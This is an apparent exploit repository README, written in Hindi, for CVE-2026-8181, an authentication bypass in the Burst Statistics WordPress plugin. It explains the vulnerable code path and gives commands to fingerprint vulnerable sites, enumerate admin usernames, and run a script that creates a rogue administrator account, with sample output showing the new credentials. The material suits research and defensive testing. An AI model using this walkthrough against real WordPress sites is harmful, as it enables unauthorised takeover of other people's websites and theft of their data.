whattheslime/cve-2026-8181CVE-2026-8181 के लिए शोषण - Burst Statistics WordPress प्लगइन प्रमाणीकरण बाईपास
[CVE-2026-8181] का शोषण, खोजकर्ता Chloe Chamberland और PRISM द्वारा।
यह रिपॉजिटरी केवल अनुसंधान और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान की गई है। लेखक इस जानकारी के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
Burst Statistics – Privacy-Friendly WordPress Analytics प्लगइन, WordPress के लिए, संस्करण 3.4.0 से 3.4.1.1 में एक प्रमाणीकरण बाइपास जो प्रशासक विशेषाधिकार वृद्धि की ओर ले जाता है के लिए असुरक्षित है।
यह भेद्यता प्लगइन के MainWP प्रॉक्सी की is_mainwp_authenticated() विधि में मौजूद है, जो wp_authenticate_application_password() से किसी भी गैर-WP_Error वापसी मान को सफल प्रमाणीकरण के रूप में गलत तरीके से मानती है।
यह अप्रमाणित हमलावरों को, जो एक वैध प्रशासक उपयोगकर्ता नाम जानते हैं, किसी भी REST API अनुरोध की अवधि के लिए उस प्रशासक का प्रतिरूपण करने की अनुमति देता है, जिसमें WordPress कोर एंडपॉइंट जैसे POST /wp-json/wp/v2/users शामिल हैं। मौजूदा प्रशासक के क्रेडेंशियल कभी समझौता नहीं किए जाते, लेकिन हमलावर को एक नया प्रशासक खाता बनाने के लिए पर्याप्त लंबे समय तक उसके विशेषाधिकार मिल जाते हैं।
भेद्यता श्रृंखला इस प्रकार है:
includes/class-burst.php:41 -> प्लगइन init() को plugins_loaded प्राथमिकता 9 पर पंजीकृत करता है, जो bootstrap() चलाता है और प्रत्येक अनुरोध (REST सहित) के लिए has_admin_access() को कॉल करता है।
includes/Traits/trait-admin-helper.php:202 -> जब अनुरोध हेडर X-BurstMainWP: 1 रखता है, has_admin_access() MainWP_Proxy को इंस्टेंशिएट करता है और प्रमाणीकरण को is_mainwp_authenticated() को सौंपता है।
includes/Frontend/class-mainwp-proxy.php:314 -> विधि Authorization हेडर पढ़ती है, बेसिक क्रेडेंशियल डिकोड करती है और हमलावर द्वारा प्रदान किए गए username / password को WordPress कोर के wp_authenticate_application_password() को अग्रेषित करती है।
includes/Frontend/class-mainwp-proxy.php:328-329 -> वापसी मान केवल is_wp_error() के साथ जांचा जाता है। WordPress कोर अपरिवर्तित $input_user (यहां null) लौटाता है जब एप्लिकेशन पासवर्ड उपयोग में नहीं हैं या जब अनुरोध API अनुरोध के रूप में फ़्लैग नहीं किया गया है। plugins_loaded प्राथमिकता 9 पर REST API ने अभी तक application_password_is_api_request फ़िल्टर को true सेट नहीं किया है, इसलिए दूसरी शर्त हमेशा पूरी होती है जब भेद्य कोड चलता है — और null कोई WP_Error नहीं है, इसलिए गार्ड पास हो जाता है।
includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID ) को केवल हमलावर द्वारा प्रदान किए गए उपयोगकर्ता नाम से लुकअप किए गए उपयोगकर्ता के साथ कॉल किया जाता है, जो पूरे अनुरोध के लिए वैश्विक प्रमाणित उपयोगकर्ता सेट करता है।
इसलिए एक नकली पासवर्ड के साथ एक एकल HTTP अनुरोध WordPress कोर REST API स्तर पर किसी भी प्रशासक का प्रतिरूपण करने के लिए पर्याप्त है।
सक्रिय प्लगइन — होमपेज HTML केवल तभी अपनी संपत्तियों का संदर्भ देता है जब प्लगइन एन्क्यू किया गया हो:
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
संस्करण — readme.txt स्थिर रूप से परोसा जाता है और स्थापित संस्करण को उजागर करता है (असुरक्षित: 3.4.0–3.4.1.1, पैच किया गया: 3.4.2+):
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
संलग्न CVE-2026-8181.yaml nuclei टेम्पलेट दोनों जांच और संस्करण तुलना को स्वचालित करता है:
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
एक बार जब प्लगइन का असुरक्षित संस्करण पाया जाता है, तो शोषण के लिए एक वैध प्रशासक उपयोगकर्ता नाम जानना आवश्यक है। WordPress का REST API अधिकांश इंस्टॉल पर सार्वजनिक उपयोगकर्ता एंडपॉइंट के माध्यम से उन्हें लीक करता है:
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
जब वह एंडपॉइंट लॉक डाउन होता है (जैसे Disable REST API या Stop User Enumeration द्वारा), लेखक संग्रह ट्रिक (/?author=N) आमतौर पर /author/<username>/ पर रीडायरेक्ट के माध्यम से उपयोगकर्ता नाम लीक करती है।
हाथ में एक वैध उपयोगकर्ता नाम के साथ, शोषण एक ही अनुरोध में एक नया प्रशासक खाता बनाता है:
Python निर्भरताएँ स्थापित करें:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
लक्ष्य के विरुद्ध शोषण चलाएँ, -u के साथ एक ज्ञात प्रशासक उपयोगकर्ता नाम प्रदान करें:
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
आउटपुट उदाहरण:
[2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
नवनिर्मित प्रशासक खाते से /wp-admin/ में लॉगिन करें।
बाइपास केवल तभी काम करता है जब Authorization हेडर PHP तक $_SERVER['HTTP_AUTHORIZATION'] के माध्यम से पहुँचता है। Apache + mod_php पर सादे permalinks (WordPress के डिफ़ॉल्ट) के साथ, कोई .htaccess उत्पन्न नहीं होता और हेडर चुपचाप हटा दिया जाता है — शोषण सफल नहीं हो सकता।
Settings → Permalinks में किसी भी गैर-सादे permalink पर स्विच करने से WordPress 5.6+ .htaccess में RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] निर्देश लिखता है, फ़ॉरवर्डिंग को पुनर्स्थापित करता है। Nginx + PHP-FPM और LiteSpeed permalinks की परवाह किए बिना डिफ़ॉल्ट रूप से Authorization फ़ॉरवर्ड करते हैं। प्रोडक्शन में प्रिटी permalinks SEO मानदंड होने के कारण यह भेद्यता CVSS 9.8 अप्रमाणित रेट की गई है।
शोषण पहले /wp-json/wp/v2/users प्रयास करता है, फिर /index.php?rest_route=/wp/v2/users पर वापस आता है, इसलिए एंडपॉइंट रूटिंग कभी बाधा नहीं है — केवल हेडर फ़ॉरवर्डिंग बाधा है।